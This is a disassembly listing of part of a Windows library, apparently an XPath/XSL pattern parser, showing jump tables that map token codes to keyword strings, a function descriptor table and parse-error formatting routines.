		mov	eax, offset aSubstringBefor ; jumptable	69B60CAA case -107
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E87:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aSubstringAfter ; jumptable	69B60CAA case -108
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E91:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aSubstring ; jumptable 69B60CAA case -109
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E9B:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aStringLength ; jumptable 69B60CAA case -110
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60EA5:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aNormalizeSpace ; jumptable	69B60CAA case -111
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60EAF:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aTranslate ; jumptable 69B60CAA case -112
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60EB9:				; CODE XREF: sub_69B60C8B+Dj
		mov	eax, offset aValue ; "value"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60EC3:				; CODE XREF: sub_69B60C8B+7j
		cmp	eax, 0FFFFFFFAh
		jg	loc_69B61007
		jz	loc_69B60FFD
		add	eax, 26h	; switch 32 cases
		cmp	eax, 1Fh
		ja	loc_69B61158	; default
					; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
					; jumptable 69B60EDE cases -37,-29--27
		jmp	ds:off_69B612A6[eax*4] ; switch	jump


loc_69B60EE5:				; DATA XREF: .text:off_69B612A6o
		mov	eax, offset asc_69B2969C ; jumptable 69B60EDE case -7
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60EEF:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset asc_69B295A0 ; jumptable 69B60EDE case -8
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60EF9:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset asc_69B29594 ; jumptable 69B60EDE case -9
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F03:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aEq	; jumptable 69B60EDE case -15
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F0D:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aNe	; jumptable 69B60EDE case -16
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F17:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aLt_0 ; jumptable 69B60EDE case -17
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F21:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aLe	; jumptable 69B60EDE case -18
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F2B:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aGe	; jumptable 69B60EDE case -19
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F35:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aGt_0 ; jumptable 69B60EDE case -20
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F3F:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset asc_69B295C4 ; jumptable 69B60EDE case -10
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F49:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset asc_69B294FC ; jumptable 69B60EDE case -11
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F53:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aAnd_0 ; jumptable 69B60EDE	case -12
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F5D:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aOr_0 ; jumptable 69B60EDE case -13
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F67:				; CODE XREF: sub_69B60C8B+1Fj
					; sub_69B60C8B+253j
					; DATA XREF: ...
		mov	eax, offset aNot_0 ; jumptable 69B60CAA	case -96
					; jumptable 69B60EDE case -14
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F71:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aTextnode_0	; jumptable 69B60EDE case -32
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F7B:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aText ; jumptable 69B60EDE case -35
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F85:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aComment ; jumptable 69B60EDE case -34
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F8F:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aPi	; jumptable 69B60EDE case -36
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60F99:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aCdata ; jumptable 69B60EDE	case -33
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FA3:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aElement ; jumptable 69B60EDE case -30
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FAD:				; CODE XREF: sub_69B60C8B+1Fj
					; sub_69B60C8B+253j
					; DATA XREF: ...
		mov	eax, offset aAttribute ; jumptable 69B60CAA case -68
					; jumptable 69B60EDE case -31
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FB7:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aNode ; jumptable 69B60EDE case -38
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FC1:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aIeq ; jumptable 69B60EDE case -21
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FCB:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aIne ; jumptable 69B60EDE case -22
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FD5:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aIlt ; jumptable 69B60EDE case -23
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FDF:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aIle ; jumptable 69B60EDE case -24
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FE9:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aIge ; jumptable 69B60EDE case -25
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FF3:				; CODE XREF: sub_69B60C8B+253j
					; DATA XREF: .text:off_69B612A6o
		mov	eax, offset aIgt ; jumptable 69B60EDE case -26
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60FFD:				; CODE XREF: sub_69B60C8B+241j
		mov	eax, offset aNumber_0 ;	"NUMBER"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61007:				; CODE XREF: sub_69B60C8B+23Bj
		cmp	eax, 2Dh
		jg	loc_69B610F1
		jz	loc_69B610E7
		cmp	eax, 24h
		jg	short loc_69B61093
		jz	short loc_69B61089
		cmp	eax, 0FFFFFFFBh
		jz	short loc_69B6107F
		cmp	eax, 0FFFFFFFCh
		jz	short loc_69B61075
		cmp	eax, 0FFFFFFFDh
		jz	short loc_69B6106B
		cmp	eax, 0FFFFFFFEh
		jz	short loc_69B61061
		test	eax, eax
		jz	short loc_69B61057
		cmp	eax, 21h
		jz	short loc_69B6104D
		cmp	eax, 22h
		jnz	loc_69B61158	; default
					; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
					; jumptable 69B60EDE cases -37,-29--27
		mov	eax, offset asc_69B270E4 ; "\""
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6104D:				; CODE XREF: sub_69B60C8B+3ADj
		mov	eax, offset asc_69B26FC4 ; "!"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61057:				; CODE XREF: sub_69B60C8B+3A8j
		mov	eax, offset aEof ; "eof"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61061:				; CODE XREF: sub_69B60C8B+3A4j
		mov	eax, offset a__	; ".."
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6106B:				; CODE XREF: sub_69B60C8B+39Fj
		mov	eax, offset asc_69B295B0 ; "//"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61075:				; CODE XREF: sub_69B60C8B+39Aj
		mov	eax, offset aName_0 ; "NAME"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6107F:				; CODE XREF: sub_69B60C8B+395j
		mov	eax, offset aString_0 ;	"STRING"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61089:				; CODE XREF: sub_69B60C8B+390j
		mov	eax, offset asc_69B29698 ; "$"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61093:				; CODE XREF: sub_69B60C8B+38Ej
		sub	eax, 27h
		jz	short loc_69B610DD
		dec	eax
		jz	short loc_69B610D3
		dec	eax
		jz	short loc_69B610C9
		dec	eax
		jz	short loc_69B610BF
		dec	eax
		jz	short loc_69B610B5
		dec	eax
		jnz	loc_69B61158	; default
					; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
					; jumptable 69B60EDE cases -37,-29--27
		mov	eax, offset asc_69B270B8 ; ","
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B610B5:				; CODE XREF: sub_69B60C8B+417j
		mov	eax, offset asc_69B270C0 ; "+"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B610BF:				; CODE XREF: sub_69B60C8B+414j
		mov	eax, offset dword_69B122A4
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B610C9:				; CODE XREF: sub_69B60C8B+411j
		mov	eax, offset asc_69B270B4 ; ")"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B610D3:				; CODE XREF: sub_69B60C8B+40Ej
		mov	eax, offset asc_69B270C8 ; "("
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B610DD:				; CODE XREF: sub_69B60C8B+40Bj
		mov	eax, offset asc_69B270E0 ; "'"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B610E7:				; CODE XREF: sub_69B60C8B+385j
		mov	eax, offset asc_69B26FC0 ; "-"
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B610F1:				; CODE XREF: sub_69B60C8B+37Fj
		cmp	eax, 3Eh
		jg	short loc_69B6113F
		jz	short loc_69B61138
		sub	eax, 2Eh
		jz	short loc_69B61131
		dec	eax
		jz	short loc_69B6112A
		sub	eax, 0Bh
		jz	short loc_69B61123
		dec	eax
		jz	short loc_69B6111C
		dec	eax
		jz	short loc_69B61115
		dec	eax
		jnz	short loc_69B61158 ; default
					; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
					; jumptable 69B60EDE cases -37,-29--27
		mov	eax, offset dword_69B2959C
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61115:				; CODE XREF: sub_69B60C8B+47Ej
		mov	eax, offset dword_69B295A8
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6111C:				; CODE XREF: sub_69B60C8B+47Bj
		mov	eax, offset dword_69B295AC
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61123:				; CODE XREF: sub_69B60C8B+478j
		mov	eax, offset asc_69B282D8 ; ":"
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6112A:				; CODE XREF: sub_69B60C8B+473j
		mov	eax, offset dword_69B25CE0
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61131:				; CODE XREF: sub_69B60C8B+470j
		mov	eax, offset dword_69B295C0
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61138:				; CODE XREF: sub_69B60C8B+46Bj
		mov	eax, offset asc_69B270DC ; ">"
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6113F:				; CODE XREF: sub_69B60C8B+469j
		sub	eax, 40h
		jz	short loc_69B61182
		sub	eax, 1Bh
		jz	short loc_69B6117B
		dec	eax
		dec	eax
		jz	short loc_69B61174
		sub	eax, 1Eh
		jz	short loc_69B6116D
		dec	eax
		jz	short loc_69B61166
		dec	eax
		jz	short loc_69B6115F


loc_69B61158:				; CODE XREF: sub_69B60C8B+19j
					; sub_69B60C8B+1Fj ...
		mov	eax, offset aUnknown ; default
					; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
					; jumptable 69B60EDE cases -37,-29--27
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6115F:				; CODE XREF: sub_69B60C8B+4CBj
		mov	eax, offset dword_69B6132C
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61166:				; CODE XREF: sub_69B60C8B+4C8j
		mov	eax, offset asc_69B270BC ; "|"
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6116D:				; CODE XREF: sub_69B60C8B+4C5j
		mov	eax, offset dword_69B61328
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61174:				; CODE XREF: sub_69B60C8B+4C0j
		mov	eax, offset asc_69B29560 ; "]"
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B6117B:				; CODE XREF: sub_69B60C8B+4BCj
		mov	eax, offset asc_69B270CC ; "["
		jmp	short locret_69B61187
; ---------------------------------------------------------------------------


loc_69B61182:				; CODE XREF: sub_69B60C8B+4B7j
		mov	eax, offset dword_69B29590

locret_69B61187:			; CODE XREF: sub_69B60C8B+2Bj
					; sub_69B60C8B+35j ...
		retn	4
sub_69B60C8B	endp

; ---------------------------------------------------------------------------
off_69B6118A	dd offset loc_69B60EAF,	offset loc_69B60EA5, offset loc_69B60E9B
					; DATA XREF: sub_69B60C8B+1Fr
		dd offset loc_69B60E91,	offset loc_69B60E87, offset loc_69B60E7D ; jump	table for switch statement
		dd offset loc_69B60E73,	offset loc_69B60E69, offset loc_69B60E5F
		dd offset loc_69B60E55,	offset loc_69B60E4B, offset loc_69B60E37
		dd offset loc_69B60E41,	offset loc_69B60E2D, offset loc_69B60E23
		dd offset loc_69B60E19,	offset loc_69B60F67, offset loc_69B60E0F
		dd offset loc_69B60E05,	offset loc_69B60D15, offset loc_69B60DFB
		dd offset loc_69B60D1F,	offset loc_69B60DF1, offset loc_69B60DE7
		dd offset loc_69B60DDD,	offset loc_69B61158, offset loc_69B60DD3
		dd offset loc_69B60DC9,	offset loc_69B60DBF, offset loc_69B60DB5
		dd offset loc_69B60DAB,	offset loc_69B60DA1, offset loc_69B61158
		dd offset loc_69B60D97,	offset loc_69B60D8D, offset loc_69B61158
		dd offset loc_69B61158,	offset loc_69B60D83, offset loc_69B60D79
		dd offset loc_69B61158,	offset loc_69B61158, offset loc_69B60D6F
		dd offset loc_69B60D65,	offset loc_69B60D5B, offset loc_69B60FAD
		dd offset loc_69B60D51,	offset loc_69B60D01, offset loc_69B60CC5
		dd offset loc_69B60CBB,	offset loc_69B60CB1, offset loc_69B60D47
		dd offset loc_69B60D3D,	offset loc_69B60D33, offset loc_69B61158
		dd offset loc_69B60D0B,	offset loc_69B61158, offset loc_69B60CCF
		dd offset loc_69B61158,	offset loc_69B60D1F, offset loc_69B60D29
		dd offset loc_69B60D15,	offset loc_69B60D01, offset loc_69B61158
		dd offset loc_69B61158,	offset loc_69B61158, offset loc_69B61158
		dd offset loc_69B60CF7,	offset loc_69B61158, offset loc_69B60CED
		dd offset loc_69B60CE3,	offset loc_69B60CD9
off_69B612A6	dd offset loc_69B60FB7	; DATA XREF: sub_69B60C8B+253r
		dd offset loc_69B61158	; jump table for switch	statement
		dd offset loc_69B60F8F
		dd offset loc_69B60F7B
		dd offset loc_69B60F85
		dd offset loc_69B60F99
		dd offset loc_69B60F71
		dd offset loc_69B60FAD
		dd offset loc_69B60FA3
		dd offset loc_69B61158
		dd offset loc_69B61158
		dd offset loc_69B61158
		dd offset loc_69B60FF3
		dd offset loc_69B60FE9
		dd offset loc_69B60FDF
		dd offset loc_69B60FD5
		dd offset loc_69B60FCB
		dd offset loc_69B60FC1
		dd offset loc_69B60F35
		dd offset loc_69B60F2B
		dd offset loc_69B60F21
		dd offset loc_69B60F17
		dd offset loc_69B60F0D
		dd offset loc_69B60F03
		dd offset loc_69B60F67
		dd offset loc_69B60F5D
		dd offset loc_69B60F53
		dd offset loc_69B60F49
		dd offset loc_69B60F3F
		dd offset loc_69B60EF9
		dd offset loc_69B60EEF
		dd offset loc_69B60EE5
		align 4
dword_69B61328	dd 7Bh		dword_69B6132C	dd 7Dh		aUnknown:				; DATA XREF: sub_69B60C8B:loc_69B61158o
		unicode	0, <unknown>,0
aProcessingInst:			; DATA XREF: sub_69B60C8B:loc_69B60DB5o
		unicode	0, <processing-instruction>,0
		align 10h
aMod:					; DATA XREF: sub_69B60C8B:loc_69B60DABo
		unicode	0, <mod>,0
aDiv:					; DATA XREF: sub_69B60C8B:loc_69B60DA1o
		unicode	0, <div>,0
asc_69B61380:				; DATA XREF: sub_69B60C8B:loc_69B60D97o
		unicode	0, <::>,0
		align 4
aNamespace:				; DATA XREF: sub_69B60C8B:loc_69B60D79o
		unicode	0, <namespace>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B6139C	proc near		; CODE XREF: sub_69B62690+6Ep

arg_0		= dword	ptr  4

		mov	edx, offset dword_69B613D0
		xor	eax, eax
		mov	ecx, edx
		push	esi


loc_69B613A6:				; CODE XREF: sub_69B6139C+1Cj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_69B613C0
		add	ecx, 30h
		inc	eax
		cmp	ecx, offset sub_69B61B50
		jl	short loc_69B613A6
		xor	eax, eax


loc_69B613BC:				; CODE XREF: sub_69B6139C+2Cj
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B613C0:				; CODE XREF: sub_69B6139C+10j
		lea	eax, [eax+eax*2]
		shl	eax, 4
		add	eax, edx
		jmp	short loc_69B613BC
sub_69B6139C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B613D0	dd 0FFFFFFC2h, 1, 1004h, 8 dup(0)		dd offset sub_69B633C4
		dd 0FFFFFFDDh, 0Ah dup(0)
		dd offset loc_69B62C08
		dd 0FFFFFFC6h, 1, 10h, 8 dup(0)
		dd offset sub_69B62C49
		dd 0FFFFFF9Fh, 0Ah dup(0)
		dd offset sub_69B62CE7
		dd 0FFFFFFCDh, 1, 2, 8 dup(0)
		dd offset sub_69B6334C
		dd 0FFFFFFE0h, 9 dup(0)
		dd 1
		dd offset sub_69B63114
		dd 0FFFFFFC8h, 9 dup(0)
		dd 1
		dd offset sub_69B63114
		dd 0FFFFFFDAh, 9 dup(0)
		dd 0FFFFFFFFh
		dd offset sub_69B63114
		dd 0FFFFFFE1h, 1, 1002h, 7 dup(0)
		dd 0Fh
		dd offset sub_69B63114
		dd 0FFFFFFE2h, 1, 1002h, 8 dup(0)
		dd offset sub_69B63114
		dd 0FFFFFFDFh, 9 dup(0)
		dd 6
		dd offset sub_69B63114
		dd 0FFFFFFDCh, 1, 1002h, 7 dup(0)
		dd 5
		dd offset sub_69B63114
		dd 0FFFFFFDEh, 9 dup(0)
		dd 2
		dd offset sub_69B63114
		dd 0FFFFFFD8h, 9 dup(0)
		dd 2
		dd offset sub_69B631EE
		dd 0FFFFFFD6h, 9 dup(0)
		dd 3
		dd offset sub_69B631EE
		dd 0FFFFFFD5h, 9 dup(0)
		dd 4
		dd offset sub_69B631EE
		dd 0FFFFFFD4h, 9 dup(0)
		dd 5
		dd offset sub_69B631EE
		dd 0FFFFFFABh, 9 dup(0)
		dd 9
		dd offset sub_69B631EE
		dd 0FFFFFFA6h, 1, 1010h, 7 dup(0)
		dd 4
		dd offset sub_69B631EE
		dd 0FFFFFFA7h, 1, 1010h, 7 dup(0)
		dd 8
		dd offset sub_69B631EE
		dd 0FFFFFFA8h, 1, 1010h, 7 dup(0)
		dd 0Bh
		dd offset sub_69B631EE
		dd 0FFFFFFACh, 9 dup(0)
		dd 0Ah
		dd offset sub_69B631EE
		dd 0FFFFFFAAh, 1, 10h, 7 dup(0)
		dd 6
		dd offset sub_69B631EE
		dd 0FFFFFF9Eh, 1, 2, 7 dup(0)
		dd 0Ch
		dd offset sub_69B631EE
		dd 0FFFFFFD2h, 9 dup(0)
		dd 7
		dd offset sub_69B631EE
		dd 0FFFFFFCAh, 1, 2, 7 dup(0)
		dd 5
		dd offset sub_69B632D3
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd 1, 2, 7 dup(0)
		dd 4
		dd offset sub_69B632D3
		db 0CCh
		db 3 dup(0FFh)
		dd 1, 2, 7 dup(0)
		dd 3
		dd offset sub_69B632D3
		dd 0FFFFFF9Ch, 1, 2, 7 dup(0)
		dd 2
		dd offset sub_69B62A6D
		dd 0FFFFFF9Bh, 1, 2, 7 dup(0)
		dd 1
		dd offset sub_69B62A6D
		dd 0FFFFFF9Ah, 2, 4, 2,	6 dup(0)
		dd 3
		dd offset sub_69B62B64
		dd 0FFFFFF99h, 2, 4, 2,	6 dup(0)
		dd 4
		dd offset sub_69B62B64
		dd 0FFFFFF97h, 3 dup(2), 6 dup(0)
		dd 6
		dd offset sub_69B62B64
		dd 0FFFFFF96h, 3 dup(2), 6 dup(0)
		dd 7
		dd offset sub_69B62B64
		dd 0FFFFFF95h, 3 dup(2), 6 dup(0)
		dd 8
		dd offset sub_69B62B64
		dd 0FFFFFF94h, 3 dup(2), 6 dup(0)
		dd 9
		dd offset sub_69B62B64
		dd 0FFFFFF93h, 3, 2, 4,	1004h, 5 dup(0)
		dd 0Ah
		dd offset sub_69B62B64
		dd 0FFFFFF92h, 1, 1002h, 7 dup(0)
		dd 0Bh
		dd offset sub_69B62B64
		dd 0FFFFFF91h, 1, 1002h, 7 dup(0)
		dd 0Ch
		dd offset sub_69B62B64
		db 90h
		db 3 dup(0FFh)
		dd 3, 3	dup(2),	5 dup(0)
		dd 0Dh
		dd offset sub_69B62B64

; =============== S U B	R O U T	I N E =======================================



sub_69B61B50	proc near		; CODE XREF: sub_69B5F23C+110p
					; sub_69B61C54+2Ap ...

arg_0		= dword	ptr  4

		push	80004005h
		push	[esp+4+arg_0]
		call	sub_69B2E8A2
		retn	4
sub_69B61B50	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B61B61	proc near		; CODE XREF: sub_69B5EB78+Dp
					; sub_69B5F23C+F2p ...

arg_0		= dword	ptr  4

		push	edi
		push	[esp+4+arg_0]
		call	sub_69B60C8B
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B61B9D
		push	esi
		push	27h
		call	sub_69B60C8B
		mov	esi, eax
		push	0
		push	esi		; lpString
		call	sub_69B1A587
		push	eax
		push	edi		; lpString
		call	sub_69B1A587
		push	eax
		push	esi		; lpString
		call	sub_69B1A587
		push	eax
		call	sub_69B2F2CA
		add	esp, 10h
		pop	esi
		jmp	short loc_69B61BB0
; ---------------------------------------------------------------------------


loc_69B61B9D:				; CODE XREF: sub_69B61B61+Ej
		mov	edx, [ecx+1Ch]
		mov	eax, [ecx+18h]
		sub	eax, edx
		dec	eax
		dec	eax
		sar	eax, 1
		push	eax
		push	edx
		call	sub_69B190C1


loc_69B61BB0:				; CODE XREF: sub_69B61B61+3Aj
		pop	edi
		retn	4
sub_69B61B61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B61BB4	proc near		; CODE XREF: sub_69B5F23C+108p
					; sub_69B61C54+22p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_C]
		test	ebx, ebx
		push	esi
		push	edi
		jnz	short loc_69B61BC4
		mov	ebx, [ecx+10h]


loc_69B61BC4:				; CODE XREF: sub_69B61BB4+Bj
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jnz	short loc_69B61BD0
		mov	eax, [ecx+18h]
		dec	eax
		dec	eax


loc_69B61BD0:				; CODE XREF: sub_69B61BB4+15j
		sub	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_4]
		sar	eax, 1
		sub	esi, ebx
		sar	esi, 1
		mov	[ebp+arg_4], eax
		call	sub_69B88D77
		push	[ebp+arg_0]
		mov	edi, eax
		mov	ecx, edi
		call	sub_69B88EA5
		push	0Ah
		mov	ecx, edi
		call	sub_69B88E7C
		push	esi
		push	0
		push	ebx
		mov	ecx, edi
		call	sub_69B88E3F
		cmp	[ebp+arg_4], 0
		jz	short loc_69B61C22
		push	offset asc_69B296A4 ; "-->"
		mov	ecx, edi
		call	sub_69B88E04
		push	[ebp+arg_4]
		mov	ecx, edi
		push	esi
		push	ebx
		call	sub_69B88E3F


loc_69B61C22:				; CODE XREF: sub_69B61BB4+54j
		push	offset asc_69B61C4C ; "<--"
		mov	ecx, edi
		call	sub_69B88E04
		mov	eax, [ebp+arg_4]
		add	eax, esi
		lea	eax, [ebx+eax*2]
		push	eax		; lpString
		mov	ecx, edi
		call	sub_69B88E04
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B61BB4	endp

; ---------------------------------------------------------------------------
; const	WCHAR asc_69B61C4C
asc_69B61C4C:				; DATA XREF: sub_69B61BB4:loc_69B61C22o
		dw 3Ch
		unicode	0, <-->,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B61C54	proc near		; CODE XREF: sub_69B6240B+24p
					; sub_69B62488+12p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_10]
		mov	esi, ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B2F944
		add	esp, 0Ch
		push	eax
		mov	ecx, esi
		call	sub_69B61BB4
		push	eax
		mov	ecx, esi
		call	sub_69B61B50
		pop	esi
		pop	ebp
		retn	14h
sub_69B61C54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B61C88	proc near		; CODE XREF: sub_69B62690+66p
					; sub_69B62E54+4Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi]
		push	edi
		push	esi
		mov	ebx, ecx
		call	dword ptr [eax+4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		push	eax
		push	ecx
		push	48h
		push	offset off_69B61CD0
		call	sub_69B63D0A
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		test	edi, edi
		jz	short loc_69B61CBF
		mov	eax, [edi+4]
		mov	[ebx+20h], eax
		jmp	short loc_69B61CC6
; ---------------------------------------------------------------------------


loc_69B61CBF:				; CODE XREF: sub_69B61C88+2Dj
		mov	dword ptr [ebx+20h], 0FFFFFFFCh


loc_69B61CC6:				; CODE XREF: sub_69B61C88+35j
		mov	eax, [ebx+20h]
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B61C88	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B61CD0	dd offset asc_69B26FC4	; DATA XREF: sub_69B61C88+19o
					; "!"
		dd 21h
		dd offset asc_69B2969C	; "!="
		dd 0FFFFFFF9h
		dd offset asc_69B270E4	; "\""
		dd 22h
		dd offset asc_69B29698	; "$"
		dd 24h
		dd offset aAll		; "$all$"
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd offset aAnd		; "$and$"
		dd 0FFFFFFC1h
		dd offset aAny		; "$any$"
		dd 0FFFFFFC4h
		dd offset aEq		; "$eq$"
		dd 0FFFFFFF1h
		dd offset aGe		; "$ge$"
